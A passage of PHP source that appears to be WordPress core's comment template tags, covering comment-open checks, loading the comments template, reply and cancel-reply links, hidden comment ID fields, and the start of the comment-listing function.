 * Deprecated in 3.0.0, and restored in 3.0.1.
 *
 * @since 0.71
 *
 * @param int|string $deprecated Not used (Was $timezone = 0).
 */
function trackback_rdf( $deprecated = '' ) {
	if ( ! empty( $deprecated ) ) {
		_deprecated_argument( __FUNCTION__, '2.5.0' );
	}

	if ( isset( $_SERVER['HTTP_USER_AGENT'] ) && false !== stripos( $_SERVER['HTTP_USER_AGENT'], 'W3C_Validator' ) ) {
		return;
	}

	echo '<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
			xmlns:dc="http://purl.org/dc/elements/1.1/"
			xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/">
		<rdf:Description rdf:about="';
	the_permalink();
	echo '"' . "\n";
	echo '    dc:identifier="';
	the_permalink();
	echo '"' . "\n";
	echo '    dc:title="' . str_replace( '--', '&#x2d;&#x2d;', wptexturize( strip_tags( get_the_title() ) ) ) . '"' . "\n";
	echo '    trackback:ping="' . get_trackback_url() . '"' . " />\n";
	echo '</rdf:RDF>';
}

/**
 * Determines whether the current post is open for comments.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default current post.
 * @return bool True if the comments are open.
 */
function comments_open( $post = null ) {
	$_post = get_post( $post );

	$post_id       = $_post ? $_post->ID : 0;
	$comments_open = ( $_post && ( 'open' === $_post->comment_status ) );

	/**
	 * Filters whether the current post is open for comments.
	 *
	 * @since 2.5.0
	 *
	 * @param bool $comments_open Whether the current post is open for comments.
	 * @param int  $post_id       The post ID.
	 */
	return apply_filters( 'comments_open', $comments_open, $post_id );
}

/**
 * Determines whether the current post is open for pings.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default current post.
 * @return bool True if pings are accepted
 */
function pings_open( $post = null ) {
	$_post = get_post( $post );

	$post_id    = $_post ? $_post->ID : 0;
	$pings_open = ( $_post && ( 'open' === $_post->ping_status ) );

	/**
	 * Filters whether the current post is open for pings.
	 *
	 * @since 2.5.0
	 *
	 * @param bool $pings_open Whether the current post is open for pings.
	 * @param int  $post_id    The post ID.
	 */
	return apply_filters( 'pings_open', $pings_open, $post_id );
}

/**
 * Displays form token for unfiltered comments.
 *
 * Will only display nonce token if the current user has permissions for
 * unfiltered html. Won't display the token for other users.
 *
 * The function was backported to 2.0.10 and was added to versions 2.1.3 and
 * above. Does not exist in versions prior to 2.0.10 in the 2.0 branch and in
 * the 2.1 branch, prior to 2.1.3. Technically added in 2.2.0.
 *
 * Backported to 2.0.10.
 *
 * @since 2.1.3
 */
function wp_comment_form_unfiltered_html_nonce() {
	$post    = get_post();
	$post_id = $post ? $post->ID : 0;

	if ( current_user_can( 'unfiltered_html' ) ) {
		wp_nonce_field( 'unfiltered-html-comment_' . $post_id, '_wp_unfiltered_html_comment_disabled', false );
		wp_print_inline_script_tag( "(function(){if(window===window.parent){document.getElementById('_wp_unfiltered_html_comment_disabled').name='_wp_unfiltered_html_comment';}})();" );
	}
}

/**
 * Loads the comment template specified in $file.
 *
 * Will not display the comments template if not on single post or page, or if
 * the post does not have comments.
 *
 * Uses the WordPress database object to query for the comments. The comments
 * are passed through the {@see 'comments_array'} filter hook with the list of comments
 * and the post ID respectively.
 *
 * The `$file` path is passed through a filter hook called {@see 'comments_template'},
 * which includes the template directory and $file combined. Tries the $filtered path
 * first and if it fails it will require the default comment template from the
 * default theme. If either does not exist, then the WordPress process will be
 * halted. It is advised for that reason, that the default theme is not deleted.
 *
 * Will not try to get the comments if the post has none.
 *
 * @since 1.5.0
 *
 * @global WP_Query   $wp_query           WordPress Query object.
 * @global WP_Post    $post               Global post object.
 * @global wpdb       $wpdb               WordPress database abstraction object.
 * @global int        $id
 * @global WP_Comment $comment            Global comment object.
 * @global string     $user_login
 * @global string     $user_identity
 * @global bool       $overridden_cpage
 * @global bool       $withcomments
 * @global string     $wp_stylesheet_path Path to current theme's stylesheet directory.
 * @global string     $wp_template_path   Path to current theme's template directory.
 *
 * @param string $file              Optional. The file to load. Default '/comments.php'.
 * @param bool   $separate_comments Optional. Whether to separate the comments by comment type.
 *                                  Default false.
 */
function comments_template( $file = '/comments.php', $separate_comments = false ) {
	global $wp_query, $withcomments, $post, $wpdb, $id, $comment, $user_login, $user_identity, $overridden_cpage, $wp_stylesheet_path, $wp_template_path;

	if ( ! ( is_single() || is_page() || $withcomments ) || empty( $post ) ) {
		return;
	}

	if ( empty( $file ) ) {
		$file = '/comments.php';
	}

	$req = get_option( 'require_name_email' );

	/*
	 * Comment author information fetched from the comment cookies.
	 */
	$commenter = wp_get_current_commenter();

	/*
	 * The name of the current comment author escaped for use in attributes.
	 * Escaped by sanitize_comment_cookies().
	 */
	$comment_author = $commenter['comment_author'];

	/*
	 * The email address of the current comment author escaped for use in attributes.
	 * Escaped by sanitize_comment_cookies().
	 */
	$comment_author_email = $commenter['comment_author_email'];

	/*
	 * The URL of the current comment author escaped for use in attributes.
	 */
	$comment_author_url = esc_url( $commenter['comment_author_url'] );

	$comment_args = array(
		'orderby'       => 'comment_date_gmt',
		'order'         => 'ASC',
		'status'        => 'approve',
		'post_id'       => $post->ID,
		'no_found_rows' => false,
	);

	if ( get_option( 'thread_comments' ) ) {
		$comment_args['hierarchical'] = 'threaded';
	} else {
		$comment_args['hierarchical'] = false;
	}

	if ( is_user_logged_in() ) {
		$comment_args['include_unapproved'] = array( get_current_user_id() );
	} else {
		$unapproved_email = wp_get_unapproved_comment_author_email();

		if ( $unapproved_email ) {
			$comment_args['include_unapproved'] = array( $unapproved_email );
		}
	}

	$per_page = 0;
	if ( get_option( 'page_comments' ) ) {
		$per_page = (int) get_query_var( 'comments_per_page' );
		if ( 0 === $per_page ) {
			$per_page = (int) get_option( 'comments_per_page' );
		}

		$comment_args['number'] = $per_page;
		$page                   = (int) get_query_var( 'cpage' );

		if ( $page ) {
			$comment_args['offset'] = ( $page - 1 ) * $per_page;
		} elseif ( 'oldest' === get_option( 'default_comments_page' ) ) {
			$comment_args['offset'] = 0;
		} else {
			// If fetching the first page of 'newest', we need a top-level comment count.
			$top_level_query = new WP_Comment_Query();
			$top_level_args  = array(
				'count'   => true,
				'orderby' => false,
				'post_id' => $post->ID,
				'status'  => 'approve',
			);

			if ( $comment_args['hierarchical'] ) {
				$top_level_args['parent'] = 0;
			}

			if ( isset( $comment_args['include_unapproved'] ) ) {
				$top_level_args['include_unapproved'] = $comment_args['include_unapproved'];
			}

			/**
			 * Filters the arguments used in the top level comments query.
			 *
			 * @since 5.6.0
			 *
			 * @see WP_Comment_Query::__construct()
			 *
			 * @param array $top_level_args {
			 *     The top level query arguments for the comments template.
			 *
			 *     @type bool         $count   Whether to return a comment count.
			 *     @type string|array $orderby The field(s) to order by.
			 *     @type int          $post_id The post ID.
			 *     @type string|array $status  The comment status to limit results by.
			 * }
			 */
			$top_level_args = apply_filters( 'comments_template_top_level_query_args', $top_level_args );

			$top_level_count = $top_level_query->query( $top_level_args );

			$comment_args['offset'] = ( (int) ceil( $top_level_count / $per_page ) - 1 ) * $per_page;
		}
	}

	/**
	 * Filters the arguments used to query comments in comments_template().
	 *
	 * @since 4.5.0
	 *
	 * @see WP_Comment_Query::__construct()
	 *
	 * @param array $comment_args {
	 *     Array of WP_Comment_Query arguments.
	 *
	 *     @type string|array $orderby                   Field(s) to order by.
	 *     @type string       $order                     Order of results. Accepts 'ASC' or 'DESC'.
	 *     @type string       $status                    Comment status.
	 *     @type array        $include_unapproved        Array of IDs or email addresses whose unapproved comments
	 *                                                   will be included in results.
	 *     @type int          $post_id                   ID of the post.
	 *     @type bool         $no_found_rows             Whether to refrain from querying for found rows.
	 *     @type bool         $update_comment_meta_cache Whether to prime cache for comment meta.
	 *     @type bool|string  $hierarchical              Whether to query for comments hierarchically.
	 *     @type int          $offset                    Comment offset.
	 *     @type int          $number                    Number of comments to fetch.
	 * }
	 */
	$comment_args = apply_filters( 'comments_template_query_args', $comment_args );

	$comment_query = new WP_Comment_Query( $comment_args );
	$_comments     = $comment_query->comments;

	// Trees must be flattened before they're passed to the walker.
	if ( $comment_args['hierarchical'] ) {
		$comments_flat = array();
		foreach ( $_comments as $_comment ) {
			$comments_flat[]  = $_comment;
			$comment_children = $_comment->get_children(
				array(
					'format'  => 'flat',
					'status'  => $comment_args['status'],
					'orderby' => $comment_args['orderby'],
				)
			);

			foreach ( $comment_children as $comment_child ) {
				$comments_flat[] = $comment_child;
			}
		}
	} else {
		$comments_flat = $_comments;
	}

	/**
	 * Filters the comments array.
	 *
	 * @since 2.1.0
	 *
	 * @param array $comments Array of comments supplied to the comments template.
	 * @param int   $post_id  Post ID.
	 */
	$wp_query->comments = apply_filters( 'comments_array', $comments_flat, $post->ID );

	$comments                        = &$wp_query->comments;
	$wp_query->comment_count         = count( $wp_query->comments );
	$wp_query->max_num_comment_pages = $comment_query->max_num_pages;

	if ( $separate_comments ) {
		$wp_query->comments_by_type = separate_comments( $comments );
		$comments_by_type           = &$wp_query->comments_by_type;
	} else {
		$wp_query->comments_by_type = array();
	}

	$overridden_cpage = false;

	if ( '' === get_query_var( 'cpage' ) && $wp_query->max_num_comment_pages > 1 ) {
		set_query_var( 'cpage', 'newest' === get_option( 'default_comments_page' ) ? get_comment_pages_count() : 1 );
		$overridden_cpage = true;
	}

	if ( ! defined( 'COMMENTS_TEMPLATE' ) ) {
		define( 'COMMENTS_TEMPLATE', true );
	}

	$theme_template = trailingslashit( $wp_stylesheet_path ) . $file;

	/**
	 * Filters the path to the theme template file used for the comments template.
	 *
	 * @since 1.5.1
	 *
	 * @param string $theme_template The path to the theme template file.
	 */
	$include = apply_filters( 'comments_template', $theme_template );

	if ( file_exists( $include ) ) {
		require $include;
	} elseif ( file_exists( trailingslashit( $wp_template_path ) . $file ) ) {
		require trailingslashit( $wp_template_path ) . $file;
	} else { // Backward compat code will be removed in a future release.
		require ABSPATH . WPINC . '/theme-compat/comments.php';
	}
}

/**
 * Displays the link to the comments for the current post ID.
 *
 * @since 0.71
 *
 * @param false|string $zero      Optional. String to display when no comments. Default false.
 * @param false|string $one       Optional. String to display when only one comment is available. Default false.
 * @param false|string $more      Optional. String to display when there are more than one comment. Default false.
 * @param string       $css_class Optional. CSS class to use for comments. Default empty.
 * @param false|string $none      Optional. String to display when comments have been turned off. Default false.
 */
function comments_popup_link( $zero = false, $one = false, $more = false, $css_class = '', $none = false ) {
	$post_id         = get_the_ID();
	$post_title      = get_the_title();
	$comments_number = (int) get_comments_number( $post_id );

	if ( false === $zero ) {
		/* translators: %s: Post title. */
		$zero = sprintf( __( 'No Comments<span class="screen-reader-text"> on %s</span>' ), $post_title );
	}

	if ( false === $one ) {
		/* translators: %s: Post title. */
		$one = sprintf( __( '1 Comment<span class="screen-reader-text"> on %s</span>' ), $post_title );
	}

	if ( false === $more ) {
		/* translators: 1: Number of comments, 2: Post title. */
		$more = _n(
			'%1$s Comment<span class="screen-reader-text"> on %2$s</span>',
			'%1$s Comments<span class="screen-reader-text"> on %2$s</span>',
			$comments_number
		);
		$more = sprintf( $more, number_format_i18n( $comments_number ), $post_title );
	}

	if ( false === $none ) {
		/* translators: %s: Post title. */
		$none = sprintf( __( 'Comments Off<span class="screen-reader-text"> on %s</span>' ), $post_title );
	}

	if ( 0 === $comments_number && ! comments_open() && ! pings_open() ) {
		printf(
			'<span%1$s>%2$s</span>',
			! empty( $css_class ) ? ' class="' . esc_attr( $css_class ) . '"' : '',
			$none
		);
		return;
	}

	if ( post_password_required() ) {
		_e( 'Enter your password to view comments.' );
		return;
	}

	if ( 0 === $comments_number ) {
		$respond_link = get_permalink() . '#respond';
		/**
		 * Filters the respond link when a post has no comments.
		 *
		 * @since 4.4.0
		 *
		 * @param string $respond_link The default response link.
		 * @param int    $post_id      The post ID.
		 */
		$comments_link = apply_filters( 'respond_link', $respond_link, $post_id );
	} else {
		$comments_link = get_comments_link();
	}

	$link_attributes = '';

	/**
	 * Filters the comments link attributes for display.
	 *
	 * @since 2.5.0
	 *
	 * @param string $link_attributes The comments link attributes. Default empty.
	 */
	$link_attributes = apply_filters( 'comments_popup_link_attributes', $link_attributes );

	printf(
		'<a href="%1$s"%2$s%3$s>%4$s</a>',
		esc_url( $comments_link ),
		! empty( $css_class ) ? ' class="' . $css_class . '" ' : '',
		$link_attributes,
		get_comments_number_text( $zero, $one, $more )
	);
}

/**
 * Retrieves HTML content for reply to comment link.
 *
 * @since 2.7.0
 * @since 4.4.0 Added the ability for `$comment` to also accept a WP_Comment object.
 *
 * @param array          $args {
 *     Optional. Override default arguments.
 *
 *     @type string $add_below          The first part of the selector used to identify the comment to respond below.
 *                                      The resulting value is passed as the first parameter to addComment.moveForm(),
 *                                      concatenated as $add_below-$comment->comment_ID. Default 'comment'.
 *     @type string $respond_id         The selector identifying the responding comment. Passed as the third parameter
 *                                      to addComment.moveForm(), and appended to the link URL as a hash value.
 *                                      Default 'respond'.
 *     @type string $reply_text         The visible text of the Reply link. Default 'Reply'.
 *     @type string $reply_to_text      The accessible name of the Reply link, using `%s` as a placeholder
 *                                      for the comment author's name. Default 'Reply to %s'.
 *                                      Should start with the visible `reply_text` value.
 *     @type bool   $show_reply_to_text Whether to use `reply_to_text` as visible link text. Default false.
 *     @type string $login_text         The text of the link to reply if logged out. Default 'Log in to Reply'.
 *     @type int    $max_depth          The max depth of the comment tree. Default 0.
 *     @type int    $depth              The depth of the new comment. Must be greater than 0 and less than the value
 *                                      of the 'thread_comments_depth' option set in Settings > Discussion. Default 0.
 *     @type string $before             The text or HTML to add before the reply link. Default empty.
 *     @type string $after              The text or HTML to add after the reply link. Default empty.
 * }
 * @param int|WP_Comment $comment Optional. Comment being replied to. Default current comment.
 * @param int|WP_Post    $post    Optional. Post ID or WP_Post object the comment is going to be displayed on.
 *                                Default current post.
 * @return string|false|null Link to show comment form, if successful. False, if comments are closed.
 */
function get_comment_reply_link( $args = array(), $comment = null, $post = null ) {
	$defaults = array(
		'add_below'          => 'comment',
		'respond_id'         => 'respond',
		'reply_text'         => __( 'Reply' ),
		/* translators: Comment reply button text. %s: Comment author name. */
		'reply_to_text'      => __( 'Reply to %s' ),
		'login_text'         => __( 'Log in to Reply' ),
		'max_depth'          => 0,
		'depth'              => 0,
		'before'             => '',
		'after'              => '',
		'show_reply_to_text' => false,
	);

	$args = wp_parse_args( $args, $defaults );

	$args['max_depth'] = (int) $args['max_depth'];
	$args['depth']     = (int) $args['depth'];

	if ( 0 === $args['depth'] || $args['max_depth'] <= $args['depth'] ) {
		return;
	}

	$comment = get_comment( $comment );

	if ( empty( $comment ) ) {
		return;
	}

	if ( empty( $post ) ) {
		$post = $comment->comment_post_ID;
	}

	$post = get_post( $post );

	if ( ! comments_open( $post->ID ) ) {
		return false;
	}

	if ( get_option( 'page_comments' ) ) {
		$permalink = str_replace( '#comment-' . $comment->comment_ID, '', get_comment_link( $comment ) );
	} else {
		$permalink = get_permalink( $post->ID );
	}

	/**
	 * Filters the comment reply link arguments.
	 *
	 * @since 4.1.0
	 *
	 * @param array      $args    Comment reply link arguments. See get_comment_reply_link()
	 *                            for more information on accepted arguments.
	 * @param WP_Comment $comment The object of the comment being replied to.
	 * @param WP_Post    $post    The WP_Post object.
	 */
	$args = apply_filters( 'comment_reply_link_args', $args, $comment, $post );

	if ( get_option( 'comment_registration' ) && ! is_user_logged_in() ) {
		$link = sprintf(
			'<a rel="nofollow" class="comment-reply-login" href="%s">%s</a>',
			esc_url( wp_login_url( get_permalink() ) ),
			$args['login_text']
		);
	} else {
		$data_attributes = array(
			'commentid'      => $comment->comment_ID,
			'postid'         => $post->ID,
			'belowelement'   => $args['add_below'] . '-' . $comment->comment_ID,
			'respondelement' => $args['respond_id'],
			'replyto'        => sprintf( $args['reply_to_text'], get_comment_author( $comment ) ),
		);

		$data_attribute_string = '';

		foreach ( $data_attributes as $name => $value ) {
			$data_attribute_string .= " data-{$name}=\"" . esc_attr( $value ) . '"';
		}

		$data_attribute_string = trim( $data_attribute_string );

		$reply_text = $args['show_reply_to_text']
			? sprintf( $args['reply_to_text'], get_comment_author( $comment ) )
			: $args['reply_text'];

		$aria_label = $args['show_reply_to_text'] ? '' : sprintf( $args['reply_to_text'], get_comment_author( $comment ) );

		$link = sprintf(
			'<a rel="nofollow" class="comment-reply-link" href="%s" %s%s>%s</a>',
			esc_url(
				add_query_arg(
					array(
						'replytocom'      => $comment->comment_ID,
						'unapproved'      => false,
						'moderation-hash' => false,
					),
					$permalink
				)
			) . '#' . $args['respond_id'],
			$data_attribute_string,
			$aria_label ? ' aria-label="' . esc_attr( $aria_label ) . '"' : '',
			$reply_text
		);
	}

	$comment_reply_link = $args['before'] . $link . $args['after'];

	/**
	 * Filters the comment reply link.
	 *
	 * @since 2.7.0
	 *
	 * @param string     $comment_reply_link The HTML markup for the comment reply link.
	 * @param array      $args               An array of arguments overriding the defaults.
	 * @param WP_Comment $comment            The object of the comment being replied.
	 * @param WP_Post    $post               The WP_Post object.
	 */
	return apply_filters( 'comment_reply_link', $comment_reply_link, $args, $comment, $post );
}

/**
 * Displays the HTML content for reply to comment link.
 *
 * @since 2.7.0
 *
 * @see get_comment_reply_link()
 *
 * @param array          $args    Optional. Override default options. Default empty array.
 * @param int|WP_Comment $comment Optional. Comment being replied to. Default current comment.
 * @param int|WP_Post    $post    Optional. Post ID or WP_Post object the comment is going to be displayed on.
 *                                Default current post.
 */
function comment_reply_link( $args = array(), $comment = null, $post = null ) {
	echo get_comment_reply_link( $args, $comment, $post );
}

/**
 * Retrieves HTML content for reply to post link.
 *
 * @since 2.7.0
 *
 * @param array       $args {
 *     Optional. Override default arguments.
 *
 *     @type string $add_below  The first part of the selector used to identify the comment to respond below.
 *                              The resulting value is passed as the first parameter to addComment.moveForm(),
 *                              concatenated as $add_below-$comment->comment_ID. Default is 'post'.
 *     @type string $respond_id The selector identifying the responding comment. Passed as the third parameter
 *                              to addComment.moveForm(), and appended to the link URL as a hash value.
 *                              Default 'respond'.
 *     @type string $reply_text Text of the Reply link. Default is 'Leave a Comment'.
 *     @type string $login_text Text of the link to reply if logged out. Default is 'Log in to leave a Comment'.
 *     @type string $before     Text or HTML to add before the reply link. Default empty.
 *     @type string $after      Text or HTML to add after the reply link. Default empty.
 * }
 * @param int|WP_Post $post    Optional. Post ID or WP_Post object the comment is going to be displayed on.
 *                             Default current post.
 * @return string|false|null Link to show comment form, if successful. False, if comments are closed.
 */
function get_post_reply_link( $args = array(), $post = null ) {
	$defaults = array(
		'add_below'  => 'post',
		'respond_id' => 'respond',
		'reply_text' => __( 'Leave a Comment' ),
		'login_text' => __( 'Log in to leave a Comment' ),
		'before'     => '',
		'after'      => '',
	);

	$args = wp_parse_args( $args, $defaults );

	$post = get_post( $post );

	if ( ! comments_open( $post->ID ) ) {
		return false;
	}

	if ( get_option( 'comment_registration' ) && ! is_user_logged_in() ) {
		$link = sprintf(
			'<a rel="nofollow" class="comment-reply-login" href="%s">%s</a>',
			wp_login_url( get_permalink() ),
			$args['login_text']
		);
	} else {
		$onclick = sprintf(
			'return addComment.moveForm( "%1$s-%2$s", "0", "%3$s", "%2$s" )',
			$args['add_below'],
			$post->ID,
			$args['respond_id']
		);

		$link = sprintf(
			"<a rel='nofollow' class='comment-reply-link' href='%s' onclick='%s'>%s</a>",
			get_permalink( $post->ID ) . '#' . $args['respond_id'],
			$onclick,
			$args['reply_text']
		);
	}

	$post_reply_link = $args['before'] . $link . $args['after'];

	/**
	 * Filters the formatted post comments link HTML.
	 *
	 * @since 2.7.0
	 *
	 * @param string      $post_reply_link The HTML-formatted post comments link.
	 * @param int|WP_Post $post            The post ID or WP_Post object.
	 */
	return apply_filters( 'post_comments_link', $post_reply_link, $post );
}

/**
 * Displays the HTML content for reply to post link.
 *
 * @since 2.7.0
 *
 * @see get_post_reply_link()
 *
 * @param array       $args Optional. Override default options. Default empty array.
 * @param int|WP_Post $post Optional. Post ID or WP_Post object the comment is going to be displayed on.
 *                          Default current post.
 */
function post_reply_link( $args = array(), $post = null ) {
	echo get_post_reply_link( $args, $post );
}

/**
 * Retrieves HTML content for cancel comment reply link.
 *
 * @since 2.7.0
 * @since 6.2.0 Added the `$post` parameter.
 *
 * @param string           $link_text Optional. Text to display for cancel reply link. If empty,
 *                                    defaults to 'Click here to cancel reply'. Default empty.
 * @param int|WP_Post|null $post      Optional. The post the comment thread is being
 *                                    displayed for. Defaults to the current global post.
 * @return string
 */
function get_cancel_comment_reply_link( $link_text = '', $post = null ) {
	if ( empty( $link_text ) ) {
		$link_text = __( 'Click here to cancel reply.' );
	}

	$post        = get_post( $post );
	$reply_to_id = $post ? _get_comment_reply_id( $post->ID ) : 0;
	$link_style  = 0 !== $reply_to_id ? '' : ' style="display:none;"';
	$link_url    = esc_url( remove_query_arg( array( 'replytocom', 'unapproved', 'moderation-hash' ) ) ) . '#respond';

	$cancel_comment_reply_link = sprintf(
		'<a rel="nofollow" id="cancel-comment-reply-link" href="%1$s"%2$s>%3$s</a>',
		$link_url,
		$link_style,
		$link_text
	);

	/**
	 * Filters the cancel comment reply link HTML.
	 *
	 * @since 2.7.0
	 *
	 * @param string $cancel_comment_reply_link The HTML-formatted cancel comment reply link.
	 * @param string $link_url                  Cancel comment reply link URL.
	 * @param string $link_text                 Cancel comment reply link text.
	 */
	return apply_filters( 'cancel_comment_reply_link', $cancel_comment_reply_link, $link_url, $link_text );
}

/**
 * Displays HTML content for cancel comment reply link.
 *
 * @since 2.7.0
 *
 * @param string $link_text Optional. Text to display for cancel reply link. If empty,
 *                     defaults to 'Click here to cancel reply'. Default empty.
 */
function cancel_comment_reply_link( $link_text = '' ) {
	echo get_cancel_comment_reply_link( $link_text );
}

/**
 * Retrieves hidden input HTML for replying to comments.
 *
 * @since 3.0.0
 * @since 6.2.0 Renamed `$post_id` to `$post` and added WP_Post support.
 *
 * @param int|WP_Post|null $post Optional. The post the comment is being displayed for.
 *                               Defaults to the current global post.
 * @return string Hidden input HTML for replying to comments.
 */
function get_comment_id_fields( $post = null ) {
	$post = get_post( $post );
	if ( ! $post ) {
		return '';
	}

	$post_id     = $post->ID;
	$reply_to_id = _get_comment_reply_id( $post_id );

	$comment_id_fields  = "<input type='hidden' name='comment_post_ID' value='$post_id' id='comment_post_ID' />\n";
	$comment_id_fields .= "<input type='hidden' name='comment_parent' id='comment_parent' value='$reply_to_id' />\n";

	/**
	 * Filters the returned comment ID fields.
	 *
	 * @since 3.0.0
	 *
	 * @param string $comment_id_fields The HTML-formatted hidden ID field comment elements.
	 * @param int    $post_id           The post ID.
	 * @param int    $reply_to_id       The ID of the comment being replied to.
	 */
	return apply_filters( 'comment_id_fields', $comment_id_fields, $post_id, $reply_to_id );
}

/**
 * Outputs hidden input HTML for replying to comments.
 *
 * Adds two hidden inputs to the comment form to identify the `comment_post_ID`
 * and `comment_parent` values for threaded comments.
 *
 * This tag must be within the `<form>` section of the `comments.php` template.
 *
 * @since 2.7.0
 * @since 6.2.0 Renamed `$post_id` to `$post` and added WP_Post support.
 *
 * @see get_comment_id_fields()
 *
 * @param int|WP_Post|null $post Optional. The post the comment is being displayed for.
 *                               Defaults to the current global post.
 */
function comment_id_fields( $post = null ) {
	echo get_comment_id_fields( $post );
}

/**
 * Displays text based on comment reply status.
 *
 * Only affects users with JavaScript disabled.
 *
 * @internal The $comment global must be present to allow template tags access to the current
 *           comment. See https://core.trac.wordpress.org/changeset/36512.
 *
 * @since 2.7.0
 * @since 6.2.0 Added the `$post` parameter.
 *
 * @global WP_Comment $comment Global comment object.
 *
 * @param string|false     $no_reply_text  Optional. Text to display when not replying to a comment.
 *                                         Default false.
 * @param string|false     $reply_text     Optional. Text to display when replying to a comment.
 *                                         Default false. Accepts "%s" for the author of the comment
 *                                         being replied to.
 * @param bool             $link_to_parent Optional. Boolean to control making the author's name a link
 *                                         to their comment. Default true.
 * @param int|WP_Post|null $post           Optional. The post that the comment form is being displayed for.
 *                                         Defaults to the current global post.
 */
function comment_form_title( $no_reply_text = false, $reply_text = false, $link_to_parent = true, $post = null ) {
	global $comment;

	if ( false === $no_reply_text ) {
		$no_reply_text = __( 'Leave a Reply' );
	}

	if ( false === $reply_text ) {
		/* translators: %s: Author of the comment being replied to. */
		$reply_text = __( 'Leave a Reply to %s' );
	}

	$post = get_post( $post );
	if ( ! $post ) {
		echo $no_reply_text;
		return;
	}

	$reply_to_id = _get_comment_reply_id( $post->ID );

	if ( 0 === $reply_to_id ) {
		echo $no_reply_text;
		return;
	}

	// Sets the global so that template tags can be used in the comment form.
	$comment = get_comment( $reply_to_id );

	if ( $link_to_parent ) {
		$comment_author = sprintf(
			'<a href="#comment-%1$s">%2$s</a>',
			get_comment_ID(),
			get_comment_author( $reply_to_id )
		);
	} else {
		$comment_author = get_comment_author( $reply_to_id );
	}

	printf( $reply_text, $comment_author );
}

/**
 * Gets the comment's reply to ID from the $_GET['replytocom'].
 *
 * @since 6.2.0
 *
 * @access private
 *
 * @param int|WP_Post $post The post the comment is being displayed for.
 *                          Defaults to the current global post.
 * @return int Comment's reply to ID.
 */
function _get_comment_reply_id( $post = null ) {
	$post = get_post( $post );

	if ( ! $post || ! isset( $_GET['replytocom'] ) || ! is_numeric( $_GET['replytocom'] ) ) {
		return 0;
	}

	$reply_to_id = (int) $_GET['replytocom'];

	/*
	 * Validate the comment.
	 * Bail out if it does not exist, is not approved, or its
	 * `comment_post_ID` does not match the given post ID.
	 */
	$comment = get_comment( $reply_to_id );

	if (
		! $comment instanceof WP_Comment ||
		0 === (int) $comment->comment_approved ||
		$post->ID !== (int) $comment->comment_post_ID
	) {
		return 0;
	}

	return $reply_to_id;
}

/**
 * Displays a list of comments.
 *
 * Used in the comments.php template to list comments for a particular post.
 *
 * @since 2.7.0
 *
 * @see WP_Query::$comments
 *
 * @global WP_Query $wp_query           WordPress Query object.
 * @global int      $comment_alt
 * @global int      $comment_depth
 * @global int      $comment_thread_alt
 * @global bool     $overridden_cpage
 * @global bool     $in_comment_loop
 *
 * @param string|array $args {
 *     Optional. Formatting options.
 *
 *     @type object   $walker            Instance of a Walker class to list comments. Default null.
 *     @type int      $max_depth         The maximum comments depth. Default empty.
 *     @type string   $style             The style of list ordering. Accepts 'ul', 'ol', or 'div'.
 *                                       'div' will result in no additional list markup. Default 'ul'.
 *     @type callable $callback          Callback function to use. Default null.
 *     @type callable $end-callback      Callback function to use at the end. Default null.
 *     @type string   $type              Type of comments to list. Accepts 'all', 'comment',
 *                                       'pingback', 'trackback', 'pings'. Default 'all'.
 *     @type int      $page              Page ID to list comments for. Default empty.
 *     @type int      $per_page          Number of comments to list per page. Default empty.
 *     @type int      $avatar_size       Height and width dimensions of the avatar size. Default 32.
 *     @type bool     $reverse_top_level Ordering of the listed comments. If true, will display
 *                                       newest comments first. Default null.
 *     @type bool     $reverse_children  Whether to reverse child comments in the list. Default null.
 *     @type string   $format            How to format the comments list. Accepts 'html5', 'xhtml'.
 *                                       Default 'html5' if the theme supports it.
 *     @type bool     $short_ping        Whether to output short pings. Default false.
 *     @type bool     $echo              Whether to echo the output or return it. Default true.
 * }
 * @param WP_Comment[] $comments Optional. Array of WP_Comment objects. Default null.
 * @return void|string Void if 'echo' argument is true, or no comments to list.
 *                     Otherwise, HTML list of comments.
 */
function wp_list_comments( $args = array(), $comments = null ) {
	global $wp_query, $comment_alt, $comment_depth, $comment_thread_alt, $overridden_cpage, $in_comment_loop;

	$in_comment_loop = true;

	$comment_alt        = 0;
	$comment_thread_alt = 0;
	$comment_depth      = 1;

	$defaults = array(
		'walker'            => null,
		'max_depth'         => '',
		'style'             => 'ul',
		'callback'          => null,
		'end-callback'      => null,
		'type'              => 'all',
		'page'              => '',
		'per_page'          => '',
		'avatar_size'       => 32,
		'reverse_top_level' => null,
		'reverse_children'  => '',
		'format'            => current_theme_supports( 'html5', 'comment-list' ) ? 'html5' : 'xhtml',
		'short_ping'        => false,
		'echo'              => true,
	);

	$parsed_args = wp_parse_args( $args, $defaults );

	/**
	 * Filters the arguments used in retrieving the comment list.
	 *
	 * @since 4.0.0
	 *
	 * @see wp_list_comments()
	 *
	 * @param array $parsed_args An array of arguments for displaying comments.
	 */
	$parsed_args = apply_filters( 'wp_list_comments_args', $parsed_args );

	// Figure out what comments we'll be looping through ($_comments).
	if ( null !== $comments ) {
		$comments = (array) $comments;
		if ( empty( $comments ) ) {
			return;
		}
		if ( 'all' !== $parsed_args['type'] ) {
			$comments_by_type = separate_comments( $comments );
			if ( empty( $comments_by_type[ $parsed_args['type'] ] ) ) {
				return;
			}
			$_comments = $comments_by_type[ $parsed_args['type'] ];
		} else {
			$_comments = $comments;
		}
	} else {
		/*
		 * If 'page' or 'per_page' has been passed, and does not match what's in $wp_query,
		 * perform a separate comment query and allow Walker_Comment to paginate.
		 */
		if ( $parsed_args['page'] || $parsed_args['per_page'] ) {
			$current_cpage = (int) get_query_var( 'cpage' );
			if ( ! $current_cpage ) {
				$current_cpage = 'newest' === get_option( 'default_comments_page' ) ? 1 : $wp_query->max_num_comment_pages;
			}

			$current_per_page = (int) get_query_var( 'comments_per_page' );
			if ( (int) $parsed_args['page'] !== $current_cpage || (int) $parsed_args['per_page'] !== $current_per_page ) {
				$comment_args = array(
					'post_id' => get_the_ID(),
					'orderby' => 'comment_date_gmt',
					'order'   => 'ASC',
					'status'  => 'approve',
				);

				if ( is_user_logged_in() ) {
					$comment_args['include_unapproved'] = array( get_current_user_id() );
				} else {
